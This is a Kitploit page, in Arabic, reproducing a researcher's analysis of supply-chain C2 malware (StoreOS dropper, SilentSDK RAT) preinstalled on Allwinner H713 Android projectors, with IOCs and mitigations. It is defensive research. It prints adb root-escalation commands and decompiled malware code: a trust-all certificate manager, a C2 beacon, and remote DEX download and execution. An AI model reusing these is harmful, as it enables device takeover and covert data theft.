Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
Android-Projector-C2-Malware — تفكيك شبكة C2 لـ beamers الصينية - SilentSDK-Analysis | Kitploit
أدوات/GitHubGitHub/kavan00/android-projector-c2-malware
أمان أندرويدأمان الأنظمة المدمجةإدارة مؤشرات الاختراق (IOC)أمان إنترنت الأشياءتحليل الشبكة الجنائيالهندسة العكسيةتحليل البرمجيات الخبيثةالتحاليل الرقمية الجنائيةالقيادة والسيطرة

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة
استخبارات التهديدات
أمن سلسلة التوريد
تحليل البرامج الثابتة
GitHubkavan00/android-projector-c2-malware

Android-Projector-C2-Malware

تفكيك شبكة C2 لـ beamers الصينية - SilentSDK-Analysis

عرض المستودع
1828منذ 4 أشهرلم تتم المراجعة بعد

البنية التحتية للقيادة والتحكم المثبتة مسبقًا وحمولة RAT على أجهزة عرض أندرويد

تقرير التحليل الفني — البحث الأمني


الأجهزة المتأثرة: العديد من أجهزة عرض الأندرويد من علامات تجارية مثل Nonete (مثل الطراز HY260Pro) (على الأرجح أيضًا عدة أجهزة عرض من Magcubic، Hotack، Huyukang وغيرها الكثير، حيث تقوم هذه الشركات بتوزيع نماذج مماثلة وهناك مؤشرات تدعم ذلك)
منصة المعالج: Allwinner H713 / sun50iw12p1 — قد يؤثر على جميع الأجهزة على هذه المنصة
فترة التحليل: 11–17 أبريل 2026
التصنيف: بنية تحتية للقيادة والتحكم مثبتة مسبقًا مع حمولة حصان طروادة للوصول عن بُعد


TL;DR

  • المشكلة: العديد من أجهزة عرض الأندرويد الرخيصة (ربما علامات تجارية مثل Magcubic، Hotack، إلخ، التي تستخدم شريحة Allwinner H713)، التي تُباع حاليًا بكميات هائلة على Amazon وeBay وAliExpress، مصابة بالبرمجيات الخبيثة مباشرة من المصنع (هجوم سلسلة التوريد، مشابه لحالات "BADBOX").
  • الآلية: تطبيق نظام يبدو غير ضار ("StoreOS") يعمل كـ حاقن (dropper) متنكر. يقوم بتحميل حاقن المرحلة الثانية المسمى "SilentSDK" بصمت تام في الخلفية ويقوم بتثبيته بأقصى صلاحيات النظام، والذي بدوره يقوم بتثبيت إطار عمل RAT معياري قائم على الإضافات واعي بالهندسة المعمارية وربما إطار تصيد.
  • الخطر: تنشئ البرمجية الخبيثة اتصال C2 إلى الصين (api.pixelpioneerss.com)، وتستخرج معرفات الجهاز الحساسة، ويمكنها تنزيل وتنفيذ أي كود خبيث إضافي بصلاحيات الجذر في أي وقت (chmod 777). بالإضافة إلى ذلك، تحتوي الأجهزة على أبواب خلفية مفتوحة للجذر.
  • التخفيف الفوري: يجب حظر نطاقات C2 (خاصة *.aodintech.com، api.pixelpioneerss.com، sta.smartinnovate.net) على مستوى الشبكة. يمكن للمستخدمين المتأثرين فقط تعطيل التطبيقات الخبيثة يدويًا عبر ADB، لأنها مدمجة بعمق في النظام.

إشعار الاستعجال

البنية التحتية للبرمجيات الخبيثة الموثقة في هذا التقرير مثبتة مسبقًا على أجهزة عرض أندرويد تُباع حاليًا بكميات كبيرة للمستهلكين النهائيين على Amazon وeBay وAliExpress. تشمل الأجهزة المتأثرة ربما عدة أسماء تجارية (Hotack، Huyukang، Magcubic، Nonete، من بين آخرين). تم تأكيد وجود بنية تحتية C2 متطابقة بشكل مستقل على أجهزة أخرى من نفس الشركة المصنعة (انظر القسم 13). يتطابق النمط مع حالات BADBOX.


جدول المحتويات

  1. تحديد الجهاز
  2. سير عمل التحقيق
  3. الوصول إلى الجذر — مسار الاستغلال
  4. استجابة خادم C2 — الأدلة الأساسية
  5. نظرة عامة على نظام البرمجيات الخبيثة
  6. StoreOS — تحليل الحاقن (com.htc.storeos)
  7. EventUploadService — القياس عن بعد (com.htc.eventuploadservice)
  8. ExpandSDK — حقن الإعلانات (com.htc.expandsdk)
  9. SilentSDK — تحليل حاقن المرحلة الثانية (com.hotack.silentsdk)
  10. البرمجية الخبيثة
  11. الأبواب الخلفية للنظام
  12. تحليل الشبكة الجنائي
  13. تزييف الجهاز (تزييف بصمة البناء)
  14. التأكيد الخارجي
  15. مؤشرات الاختراق (IOCs)
  16. تعيين MITRE ATT&CK
  17. التخفيفات الفورية
  18. المصادر

الجهاز المشترى: رابط Amazon - جهاز عرض Nonete Mini 4K 1080P


1. تحديد الجهاز

ملاحظة حول النطاق: شريحة Allwinner H713 مدمجة في العديد من أجهزة عرض الأندرويد الرخيصة التي تُباع تحت أسماء تجارية متغيرة في السوق الأوروبية. تشير قاعدة البرامج الثابتة المتطابقة (h713_tuna_p3) ومشغل C2 المتطابق (Shenzhen Aodin Technology) بقوة إلى أن جميع الأجهزة من هذا المصنع تحتوي على نفس البنية التحتية.


2. سير عمل التحقيق


3. الوصول إلى الجذر — مسار الاستغلال

تم تحقيق الوصول إلى الجذر من خلال مجموعة من ثلاث ثغرات:

  1. SELinux Permissive — يتم تسجيل انتهاكات الوصول فقط، دون منعها.
  2. قابلية الكتابة العالمية لـ /oem — يتم تحميل القسم كنظام FAT مع fmask=0000.
  3. تحميل customer.prop عند الإقلاع — يستبدل خصائص النظام.```bash adb shell getenforce # Result: Permissive adb shell ls -la /oem/ # All files world-writable

adb shell 'echo "ro.debuggable=1" >> /oem/customer.prop' adb shell 'echo "service.adb.root=1" >> /oem/customer.prop' adb shell 'echo "ro.secure=0" >> /oem/customer.prop'

adb reboot && adb wait-for-device && adb root adb shell id

uid=0(root) gid=0(root) context=u:r:su:s0

root@kitploit:~
**التأثير:** أي مستخدم لديه وصول فعلي أو مهاجم على نفس الشبكة (عبر ADB، المنفذ 5555 مفتوح، دون مصادقة) يحصل على صلاحية الجذر الكاملة.

---

## 4. استجابة خادم C2 — الأدلة الأساسية

### طلب HTTP الملتقط```http
POST /sign/app/list HTTP/1.1
chanId: HY260Pro_SpectraOS_TPYB
timestamp: 1775904428922
sign: [REDACTED]
Content-Type: application/json;charset=UTF-8
Content-Length: 184
Host: store-api.aodintech.com
Connection: Keep-Alive
Accept-Encoding: gzip
User-Agent: okhttp/5.0.0-alpha.12

استجابة الخادم (مفككة من pcapng - جدول)

تحتوي الاستجابة المضغوطة بـ gzip على قائمة JSON تحتوي على سبعة تطبيقات. ستة منها هي تطبيقات بث عادية (YouTube، Netflix، Disney+، Prime Video، Chrome، BrowseHere). السابع هو SilentTools:

تكوين SilentTools بالتفصيل```json

{ "name": "SilentTools", "pkg": "com.hotack.silentsdk", "desc": "Special app", "icon": "http://cdn-store.aodintech.com/com.hotack.silentsdk/image/95630a5e-e05e-4dba-814a-cf2742585b39.png", "category": "htc", "zone": "Global", "developer": "htc", "isForce": true, "verCode": 4, "verName": "2509041614", "verDesc": "SilentSDK", "installType": 0, "appType": "apk", "reverseLen": 63995, "path": "W15UOdzUbX72/67VLbV2cMLetfnsudxCpedAqw2GjJ8pvLI56S0gTzrp4HaetoVK3PdHXvM9vw7g+F4eFGhHDNvARfeM38tkcqo7gOpulNCb1gKYE2rmjWa+6RdjhB84+g403UUicBfFf5vHDoOEgA==", "size": 2474873, "md5": "5df097591d6942bae4eff33a37c4e28f", "upDate": "2025-09-04", "isShow": false, "isSilentInstall": false, "isSilentUninstall": true, "isBootStartup": false, "launchType": 1, "launchParam": "com.hotack.silentsdk.MyService" }

root@kitploit:~
**تفسير العلامات:**

- `isShow: false` — التطبيق لا يظهر في واجهة المتجر.
- `isForce: true` — يُفترض أنه يُجبر الإجراء (التثبيت أو التحديث).
- `isSilentUninstall: true` — يمكنه إلغاء تثبيت نفسه دون تفاعل المستخدم.
- `launchType: 1` — يبدأ تلقائيًا خدمة الخلفية.
- `launchParam: MyService` — مرجع للخدمة المستمرة.
- `zone: "Global"` — يستهدف جميع الأجهزة في جميع أنحاء العالم.
- `reverseLen` — طول البايت اللازم لاستعادة ملف SilentSDK `.apk`.

### مسار التحميل المشفر

حقل `path` مشفر باستخدام AES-CBC:

- **المفتاح/IV:** `[REDACTED]` (AES-CBC, خام) -> معرف القناة للجهاز.
- **النتيجة بعد فك التشفير:**```text
http://cdn-store.aodintech.com/com.hotack.silentsdk/package/091acbf1-68b1-40f1-b9b7-7d4d6ae86880.bpp

ملاحظة: من المحتمل أن يتم استخدام امتداد الملف .bpp لتجاوز جدران الحماية، حيث يتم إعادة تسمية الملف إلى .apk أثناء التنفيذ. الحقل isSilentInstall هو false في هذا الالتقاط. لم يمكن إعادة بناء المعنى الدقيق لـ isForce: true بشكل لا لبس فيه من الكود المُفكك. لا يمكن استبعاد أن القيمة يتم تعيينها ديناميكيًا إلى true من جانب الخادم.


5. نظرة عامة على النظام البيئي للبرامج الضارة

يحتوي الجهاز على أربعة تطبيقات نظام تتفاعل مع بعضها، جميعها موقعة بمفتاح اختبار AOSP وتعمل بمعرف المستخدم UID 1000 (System):```text ┌──────────────┐ │ DEVICE BOOT │ └──────┬───────┘ ┌────────────────┼────────────────┐ ▼ ▼ ▼ ┌─────────────┐ ┌─────────────┐ ┌──────────────┐ │ StoreOS │ │ SilentSDK │ │ EventUpload │ │ DROPPER │ │ RAT │ │ HEARTBEAT │ └──────┬──────┘ └──────┬──────┘ └──────┬───────┘ ▼ ▼ ▼ store-api. api.pixel event-api. aodintech.com pioneerss.com aodintech.com

root@kitploit:~
   + ExpandSDK (Ad-Injection)
     → pb-api.aodintech.com
root@kitploit:~
---

## 6. StoreOS — تحليل المُحمل (Dropper)

يبدو أن StoreOS هو متجر تطبيقات يتم تثبيته تلقائيًا؛ إلا أنه يؤدي وظيفة المُحمل.  
**الحزمة:** `com.htc.storeos`  
**SHA-256:** `3476536a5c722b9e34c53abda766fb4869d5ebebfc9c8a8fd47fb7ecd5f025b9`  
**VirusTotal:** BitDefender: `Android.Riskware.TestKey.rB`

### الأذونات

| الإذن | التأثير |
|:---|:---|
| `INSTALL_PACKAGES` | التثبيت الصامت دون حوار المستخدم |
| `CLEAR_APP_USER_DATA` | حذف بيانات تطبيق عشوائية |
| `MASTER_CLEAR` | بدء إعادة ضبط المصنع |
| `WRITE_SECURE_SETTINGS` | تعديل إعدادات الأمان |
| `DEVICE_POWER` | إدارة طاقة الجهاز |
| `MANAGE_EXTERNAL_STORAGE` | الوصول الكامل إلى التخزين الخارجي |

### سلسلة التثبيت (من الكود المُفكك)

1. **BootReceiver** يبدأ `CheckUpdateService`.
2. طلب HTTP POST إلى `store-api.aodintech.com/sign/app/list`.
3. يقوم الخادم بتسليم `AppsData[]` يحتوي على الحقول: `pkg`, `path`, `isForce`, `isShow`, `isSilentInstall`, `isSilentUninstall`, `launchType`, `launchParam`, `reverseLen`, `md5`.
4. يقوم `DownloadService` بجلب ملفات APK كملفات `.bpp` من شبكة CDN.
5. **حماية عكس البايت:** يتم عكس أول `reverseLen` بايت قبل الكتابة على القرص (إجراء مضاد للتحليل).
6. التحقق من MD5 للملف الذي تم تنزيله.
7. التثبيت عبر `Runtime.getRuntime().exec("pm install -r " + filePath)`.
8. يقوم `StartAppService` بتشغيل التطبيق المُثبَّت وفقًا لـ `launchParam`.

### آلية عكس البايت — دليل تقني

**الفئة:** `AbstractC2057b` — **الطريقة:** `m4131f(String inputPath, int reverseLen, String outputPath)` -> JADX

تقوم هذه الطريقة بعكس أول `reverseLen` بايت من كل APK تم تنزيله. ونتيجة لذلك، لا يمكن التعرف على ملفات `.bpp` المعترضة أو استخراجها كملفات APK صالحة دون معرفة قيمة `reverseLen` المحددة.```java
// Simplified representation of the byte-reversal algorithm
// Original code: AbstractC2057b.m4131f()
int offset = fileSize % reverseLen;
if (fileSize - offset < reverseLen) {
    reverseLen = fileSize;
    offset = 0;
}
// 1. Copy offset bytes unchanged
// 2. Read reverseLen bytes and reverse them:
for (int head = 0, tail = readCount - 1; head < tail; ) {
    byte tmp = buffer[head];
    buffer[head] = buffer[tail];
    buffer[tail] = tmp;
    head++; tail--;
}
// 3. Copy the remaining bytes unchanged

الاستدعاء في مسار التنزيل (Class RunnableC1595d, case 0):```java if (downInfo.getReverseLen() != 0) { String outputPath = inputPath.replace(".apk", "des.apk"); if (!AbstractC2057b.m4131f(inputPath, reverseLen, outputPath)) { // Error handling return; } downInfo.setFileSavePath(outputPath); } // Followed by MD5 verification and installation

root@kitploit:~
من خلال عكس هذه الآلية، تم فك تشفير وتحليل APK الخاص بـ SilentSDK بنجاح.

### الاستهداف الجغرافي

يستخدم StoreOS `api.ipdatacloud.com/v2/query` لتحديد الموقع الجغرافي عبر IP. تحتوي فئة `SpecialApps` على حقول `continent` و `countryCode`، مما يسمح بتوزيع الحمولات حسب المنطقة.

---

## 7. EventUploadService — القياس عن بعد

**الحزمة:** `com.htc.eventuploadservice`  
**الهدف:** `http://event-api.aodintech.com/report`  
**الفاصل الزمني:** كل 5 دقائق  

| الحقل | قيمة مثال | تأثير الخصوصية |
|:---|:---|:---|
| `deviceId` | `[REDACTED]` | عنوان MAC (معلومات تعريف شخصية) |
| `deviceSn` | `[REDACTED]` | الرقم التسلسلي (فريد) |
| `channel` | `HY260Pro_hy_TPYB` | قناة البرنامج الثابت |
| `version` | `Projector.20250422.152235` | إصدار البرنامج الثابت |
| `model` | `NT10` | طراز الجهاز |
| `language` | `en_US` | إعداد اللغة |

يتم الإرسال بدون تشفير عبر HTTP وبدون موافقة المستخدم. يسمح عنوان MAC والرقم التسلسلي بتحديد وتتبع الأجهزة الفردية بدقة.

---

## 8. ExpandSDK — حقن الإعلانات

**الحزمة:** `com.htc.expandsdk`  
**خوادم القيادة والتحكم:** `pb-api.aodintech.com`, `euads-o.api.leiniao.com`

يستخدم ExpandSDK مكتبة TCL VastAd SDK لإعلانات الفيديو VAST وهو قادر على عرض حوارات تراكب النظام (`SYSTEM_ALERT_WINDOW`) في أي موضع على الشاشة. يتضمن التكوين حقول الموضع (`AdDialogX`, `AdDialogY`, `Width`, `High`, `Gravity`) ومعرف الشريك `htk` (Hotack).

يعمل ExpandSDK بشكل مستقل عن SilentSDK كقناة تحقيق أرباح منفصلة.

---

## 9. SilentSDK — تحليل أداة التحكم عن بعد

**الحزمة:** `com.hotack.silentsdk`  
**SHA-256 (مفكوك):** `e5a193c31526a2194d04a2157321d490d68f9251fab1cbbd28c2580971396fb7`  
**MD5 (مفكوك):** `5df097591d6942bae4eff33a37c4e28f`

### تحليل البيان

| الخاصية | القيمة | المعنى |
| :--- | :--- | :--- |
| `sharedUserId` | `android.uid.system` | صلاحيات النظام (UID 1000) |
| `usesCleartextTraffic` | `true` | يسمح بحركة مرور HTTP |
| أيقونة المشغل | غير مرئية للمستخدم | مخفية عن واجهة المستخدم |
| `BootReceiver` | الأولوية 999 | يبدأ قبل جميع التطبيقات الأخرى تقريبًا |
| `MyService` | مُصدر، في المقدمة | خدمة خلفية مستمرة |
| `BootStartActivity` | `com.htc.bootstart` | مشغل إقلاع إضافي |

### تعبئة DEX وفك التشفير

حزمة DEX الأصلية معبأة: يعلن الرأس عن 2,318,316 بايت، لكن الملف المضغوط يحتوي فقط على 65,536 بايت مع مجموع اختباري Adler32 غير صالح. بعد كسر حماية عكس البايت الخاصة بـ StoreOS، يصبح DEX قابلاً للقراءة بالكامل — يتطابق حجم الملف مع الحجم المعلن، ويمكن استخراج 16,241 سلسلة نصية.

### تشويش XOR — إثبات تقني

جميع السلاسل النصية المتعلقة بالأمان مشوشة باستخدام تشفير XOR دوار داخل الطريقة `AbstractC0000a.m36g()`:```java
public static String m36g(byte[] data, byte[] key) {
    int i3 = 0, i4 = 0;
    while (i3 < data.length) {
        if (i4 >= key.length) i4 = 0;
        data[i3] = (byte) (data[i3] ^ key[i4]);
        i3++; i4++;
    }
    return new String(data);
}

السلاسل المفكوكة

هذا يمثل جزءًا فقط من السلاسل المفكوكة. يكشف تدفق جمع MAC عن تجاوز متعمد للأذونات: عندما يُرجع WifiInfo.getMacAddress() عنوان MAC الزائف المحمي بالخصوصية من أندرويد (02:00:00:00:00:00)، يتراجع البرنامج الضار إلى قراءة عنوان MAC الحقيقي مباشرة من /sys/class/net/wlan0/address عبر شيل جذر — وهو سلوك لم يُرَ مطلقًا في التطبيقات المشروعة.

دورة حياة الإصابة — مرحلة بمرحلة

التحليل التالي يتتبع سلسلة التنفيذ الكاملة من بدء التطبيق إلى التحكم المستمر عبر C2. تشير أسماء الفئات إلى المعرفات التي تم إزالة التعتيم عنها بواسطة JADX.

المرحلة 1: التهيئة والإرساء

MyApplication.java — نقطة الدخول

إن تجاوز Application.onCreate() هو أول كود يُنفَّذ. يستدعي فورًا C0561f.m1737c مع ApplicationContext، مما يُشغِّل آلية البرنامج الضار بأكملها قبل عرض أي واجهة مستخدم.

AbstractC0577v.java — السياق

إذا لم يقدم التطبيق المضيف سياقه طواعية، تستخدم هذه الفئة انعكاسًا عميقًا للنظام (android.app.ActivityThread) لسرقة ApplicationContext العام بشكل مستقل. يمنح هذا الـ SDK وصولًا كاملًا إلى الملفات وخدمات النظام وإدارة الحزم دون الاعتماد على التطبيق المضيف.

C0578w.java — مراقب دورة حياة النشاط

يسجل كـ ActivityLifecycleCallbacks لمراقبة كل تفاعل مستخدم: أي شاشة مفتوحة، وما إذا كان التطبيق في المقدمة أم الخلفية. والأهم من ذلك، أنه يعيد تمكين الرسوم المتحركة المعطلة للنظام ويتلاعب بإعدادات SoftInputMode — وهي متطلبات أساسية لتقديم طبقات غير مرئية (مثل الاحتيال على النقرات) دون تنبيه المستخدم من خلال نوافذ لوحة المفاتيح المنبثقة غير المتوقعة.

المرحلة 2: البصمات والتخفي

AbstractC0562g.java — توليد معرف البوت

يُولد بصمة جهاز عدوانية من خلال دمج: UUID عشوائي + Build.BRAND + Build.MODEL + عنوان MAC الفعلي (تم جمعه عبر cat /sys/class/net/wlan0/address، متجاوزًا حماية خصوصية أندرويد) + android_id + طابع زمني. يتم تجزئة السلسلة الناتجة باستخدام MD5 وتخزينها كـ adid — معرف البوت الدائم المستخدم لتسجيل الجهاز في خادم C2.

C0565j.java — تجاوز شهادة SSL

مدير ثقة X509TrustManager مُعالَج بطرق تحقق فارغة تمامًا (checkClientTrusted, checkServerTrusted). يضمن ذلك قبول البرنامج الضار لأي شهادة SSL بشكل أعمى، مما يمنع آليات أمان أندرويد من حظر اتصال C2 — حتى إذا كان خادم C2 مخترقًا أو يستخدم شهادة غير صالحة.```java // From AbstractC0000a.m41j() — TrustManager accepts ALL certificates TrustManager[] trustManagerArr = {new C0565j()}; SSLContext sslContext = SSLContext.getInstance("SSL"); sslContext.init(null, trustManagerArr, new SecureRandom()); ((HttpsURLConnection) conn).setSSLSocketFactory( sslContext.getSocketFactory() );

root@kitploit:~
إذا حدث خطأ SSL (`SSLException`)، يتم تعيين `f2664e` إلى `false` وتستخدم جميع الطلبات اللاحقة HTTP بدلاً من HTTPS.




#### المرحلة 3: الحصول على الحمولة
 
**`C0566k.java` — الاحتياطي دون اتصال (الحمولة المضمنة)**
 
قبل الاتصال بالشبكة، يتحقق هذا الفئة مما إذا كانت الحمولة مضمنة بالفعل داخل APK في `assets/m17gawxG.java`. إذا وُجدت، فإنها تقرأ الملف بايتًا بايت وتقوم بفك تشفيره باستخدام مفتاح XOR ثابت (`m17gawxG`). تُكتب النتيجة كملف `.temp` قابل للتنفيذ. يضمن ذلك أن أداة التحكم عن بُعد (RAT) يمكن تفعيلها حتى على الأجهزة المعزولة أو عندما يكون خادم C2 غير قابل للوصول.
 
**`RunnableC0569n.java` — المُنزِّل المباشر من C2**
 
إذا فشل الاحتياطي دون اتصال، يقوم هذا الفئة بتجميع إشارة JSON تحتوي على معرف البوت (Bot-ID) واسم الحزمة وإصدار Android، ثم يتصل بنقطة نهاية C2 `api.pixelpioneerss.com`:
 
**الخطوة 1 — توليد URL بمسار عشوائي:**```java
// RunnableC0569n.m1760b()
String protocol = useHttps ? "https://" : "http://";
String domain = f2663d; // XOR-decrypted to "api.pixelpioneerss.com"
int length = random.nextInt(5) + 8; // 8-12 chars
char[] path = new char[length];
// At least one letter at a random position, rest: digits and letters
return protocol + domain + "/" + new String(path);
// e.g.: https://api.pixelpioneerss.com/aB3k9mP2s

الخطوة 2 — حمولة البيكن:```java JSONObject beacon = new JSONObject(); beacon.put("a", getDeviceFingerprint(context)); // Bot-ID (adid) beacon.put("b", appKey); // Campaign Key beacon.put("c", context.getPackageName()); // com.hotack.silentsdk beacon.put("d", currentVersion); // Payload Version beacon.put("f", Build.FINGERPRINT); // Build Fingerprint beacon.put("h", Build.VERSION.SDK_INT); // SDK Version

root@kitploit:~
**الخطوة 3 — تشفير AES والإرسال:**```java
// AbstractC0556a.m1728d() — AES-128-CBC Encryption
byte[] encrypted = AES_CBC_encrypt(json.getBytes());
// AbstractC0000a.m41j() — HTTP POST with Custom TrustManager
byte[] response = m41j(url, encrypted);
// Key and IV are appended in plaintext to the message

الخطوة 4 — معالجة استجابة الخادم:```java JSONObject data = new JSONObject(response).getJSONObject("data"); String downloadUrl = data.getString("a"); // DEX Download URL String md5Hash = data.getString("b"); // MD5 for verification int version = data.getInt("c"); // Version number // → m1762a() downloads DEX, verifies Hash, executes

root@kitploit:~
يقوم المُنزّل (`AbstractC0000a.m37h`) بجلب الحمولة ثم يستخدم شل جذر لمنحها أذونات تنفيذ كاملة عبر `chmod 777`.
 
جميع طلبات C2 تحمل رأس HTTP المخصص `a: 1003` — توقيع على مستوى الشبكة لهذه العائلة من البرامج الضارة.



#### المرحلة 4: التنفيذ والتحكم
 
**`AbstractC0568m.java` — منطقة التجهيز**
 
ينشئ دليلاً خفياً باسم **`TMRXwWJu3G5`** في نظام ملفات الجهاز حيث يتم تجهيز جميع الحمولات التي تم تنزيلها. تحتوي هذه الفئة أيضاً على طرق (`m1754e`) تعترض أحداث المفاتيح المادية (`KeyEvent`)، مما يمنع المستخدم من الضغط على زر "الرجوع" أثناء وجود تراكب خبيث نشط.
 
**`C0561f.java` — المنسق**
 
يربط السلسلة بأكملها. يستدعي الكود المشفر بشكل كبير في `C0566k.m1746b`، والذي يستخدم التأمل لبناء السلسلة `"dalvik.system.DexClassLoader"` وتهيئتها. ثم يُجبر ClassLoader على تحميل وتنفيذ فئة الحمولة النهائية:```
com.me.cash5.OoO0OOo

من هذه النقطة فصاعدًا، يكون الحمولة المحملة ديناميكيًا تحت السيطرة الكاملة ضمن سياق عملية التطبيق (UID 1000 / System).

المرحلة 5: القياس عن بُعد، والتسريب، والثبات

AbstractC0563h.java و C0558c.java — جمع بيانات القياس عن بُعد

كل تحميل وحدة، أو حدث خطأ (مثل فشل التنزيل)، أو عرض تراكب يؤدي إلى تشغيل تقرير حالة (مُرمَّز كـ "e6", "e4" لأخطاء SSL، إلخ). يقوم C0558c بتشغيل مؤشر ترابط مخصص للتجميع ("burying_loop_s") يجمع هذه الأحداث. كل 5 ثوانٍ، يقوم بتجميع حزمة JSON شاملة لبيانات القياس عن بُعد مع حقول مثل "d" (طراز الجهاز)، "e" (إصدار SDK)، "c" (معرف Android).

RunnableC0564i.java — أداة تسريب البيانات

يأخذ JSON القياس عن بُعد، ويضغطه باستخدام GZIPOutputStream (لإعاقة تحليل حركة المرور)، ثم يقوم بتشفيره باستخدام AES مخصص — مع إلحاق المفاتيح الديناميكية بالنص المشفر. يتم إرسال حزمة GZIP-AES الناتجة عبر TrustManager الذي يتجاوز SSL إلى خادم تتبع مخصص:``` bur.thedynamicleap.com

root@kitploit:~
هذا نطاق **C2 منفصل** عن النطاق الأساسي `api.pixelpioneerss.com`، يُستخدم حصريًا لاستخراج البيانات عن بُعد (telemetry).

**`AbstractC0572q.java` و `RunnableC0560e.java` — نبضات القلب والشفاء الذاتي**

آلية الثبات. يحتفظ `AbstractC0572q` بمؤقت على الخيط الرئيسي. إذا فشل أي جزء من سلسلة العدوى (مثل عدم وجود إنترنت أثناء التحميل)، فإنه يُطلق `sendEmptyMessageDelayed(..., 60000L)`. بعد مرور 60 ثانية بالضبط، يقوم `RunnableC0560e` (كعامل خلفي) بإعادة تشغيل آلية العدوى بأكملها من البداية. تتكرر هذه الحلقة إلى أجل غير مسمى حتى تنجح العدوى.

### الثبات والتحميل الديناميكي — ملخص

تقوم الطريقة `m1762a()` في `RunnableC0569n` بتنفيذ دورة تحميل الحمولة الكاملة:

1. تحميل ملف DEX من C2.
2. التحقق من تجزئة MD5.
3. حفظ رقم الإصدار في SharedPreferences.
4. تحميل وتنفيذ DEX عبر `DexClassLoader` أو `Runtime.exec()`.
5. عند حدوث أخطاء: زيادة عداد إعادة المحاولة في SharedPreferences، والتوقف بعد 13 محاولة فاشلة — ثم يعيد نبض القلب لمدة 60 ثانية بدء الدورة.

## 9.1. حمولة البرنامج الضار

بعد إرسال هذا الطلب إلى خادم C2:```json
{
    "a":"1c1f2257b85a20a0eac07f992a283b3a", // Unique device fingerprint
    "b":"f101", //CampaignID injected in MyApplication.java
    "c":"com.hotack.silentsdk", //Package name
    "d":0, 
    "f":"c0:3a:4b:11:22:33", // Device MAC address
    "h":30, //Version
}

الرد:```json { "code":"0000", "data":{ "a":"https://sta.smartinnovate.net/sdkfile/uploadfile/[FILE].jar?t=[TIMESTAMP]]&r=[STRING]&s=[STRING]", "b":"53e49c7bf3e93b57f8cbfc7fb9a65126", "c":6037, "d":3600000, "e":"103.124.165.222", "f":"India/Karnataka/Bengaluru", "g":false, "h":"", "i":"" }, "time":"1776365262249", "message":"" }

root@kitploit:~
---
## 10. البرامج الضارة

بعد استرجاع الحمولة بنجاح وتحليلها الإضافي، تبيّن لي—بعد تجاوز طبقات كبيرة من التشفير المخصص والإبهام—أن البرنامج الضار يستخدم بنية معيارية عالية. إنه يعمل كإطار متطور قادر على تنزيل الإضافات وتحديثها وإعادة تشغيلها وحذفها بنشاط لتدمير الأدلة الجنائية. يتم تنفيذ هذه الحمولات بصلاحيات الجذر (root). علاوة على ذلك، يكشف الكود عن آليات مصممة لتغطية WebViews كاملة على الشاشة، مما يشير بقوة إلى قدرات تصيد متقدمة. يُظهر البرنامج الضار أيضًا تكتيكات استهداف وتهرب متقدمة: فهو يطبق تحديدًا جغرافيًا صارمًا لاستهداف مناطق محددة، ويحدد بنية وحدة المعالجة المركزية (يميز بين `arm64` و `armeabi` و `x86` و `mips`)، ويتجاوز بنشاط التحقق من شهادات SSL لتأمين اتصالاته مع خادم القيادة والتحكم (C2). أُبقي هذا الملخص مختصرًا عمدًا في الوقت الحالي، نظرًا لأن الإبهام الكثيف يتطلب عملية هندسة عكسية مطولة ومستمرة.

## 11. ثغرات خلفية في النظام

### 11.1 ثنائي `su` المخفي: `/system/bin/qw`

ثنائي `su` أعيدت تسميته باسم `qw` (Koushikdutta Superuser، 388 كيلوبايت، مرتبط ثابت، ARM 32-bit):```text
# /system/etc/init/qw.rc
service qw /system/bin/qw --daemon
    user root
    group root
    class core
  • عملية: PID 2409, UID 0 (root)
  • مقبس: /dev/com.koushikdutta.superuser.daemon/server (srwxrwxrwx)
  • منفذ TCP: 65528 (UID 0)

11.2 مفتاح اختبار AOSP كمفتاح توقيع المنصة

شهادة توقيع المنصة هي مفتاح الاختبار المضمن علنًا في كود مصدر AOSP (فهرس الشهادة 0 في packages.xml). أي تطبيق موقّع بهذا المفتاح يحصل تلقائيًا على امتيازات النظام على الجهاز. المفتاح متاح بحرية لأي مطور Android.

11.3 خدمات مفتوحة إضافية

10.4 dbgserver

/vendor/bin/dbgserver — خادم إدخال/إخراج سجلات الأجهزة، يتواصل عبر الجهاز القابل للكتابة عالميًا /dev/hidtvreg (crwxrwxrwx).


12. تحليل الشبكة الجنائي

جميع اتصالات C2 تتم عبر HTTP غير مشفر. هذا يمكّن هجمات MITM (الرجل في المنتصف): يمكن للمهاجم على نفس الشبكة التلاعب بقائمة التطبيقات وحقن APKs عشوائية، والتي سيتم تثبيتها بعد ذلك بامتيازات النظام.


13. انتحال هوية الجهاز

يتنكر الجهاز بهوية ADT-3 من Google (مجموعة أدوات مطوري Android TV):

الخاصية

من المفترض أن هذا الانتحال يهدف إلى تجاوز فحوصات شهادة Google Play.


14. تأكيد خارجي

تحليل مستقل

في يناير 2026، نشر باحث الأمن Zane St. John تحليلًا لأجهزة متطابقة تحتوي على نفس البنية التحتية للبرامج الضارة تمامًا. تتطابق النتائج في جميع النقاط الحاسمة: نقاط نهاية C2، إخفاء XOR، بروتوكول AES-128-CBC، معرف الحملة f101، تجاوز SSL، وchmod 777. يبدو أن الجهاز الذي حلله Zane St. John قد أصيب بالفعل بـ SilentSDK، وهو ما لم يكن الحال على جهازي خارج الصندوق. كما تظهر نقاط النهاية في تحليل Zane St. John متغيرة قليلاً، مما يشير إلى إمكانية تدوير نقاط النهاية. بالإضافة إلى ذلك، يبدو أن SilentSDK مثبت مسبقًا في حالته، بينما على جهازي يبدو أنه يتم تنزيله وتثبيته بمجرد أن يرسل aodintech إشارة التشغيل.

المصدر: https://zanestjohn.com/blog/reing-with-claude-code

التحقق من التجزئة عبر ثلاثة مصادر مستقلة

المصدرMD5

التجزئات من توزيع خادم C2، وفك تشفيرنا الخاص، والتحليل الخارجي متطابقة — مما يؤكد أنه نفس البرنامج الضار تمامًا. هذا يؤكد الانتشار الواسع للبرنامج الضار.

VirusTotal

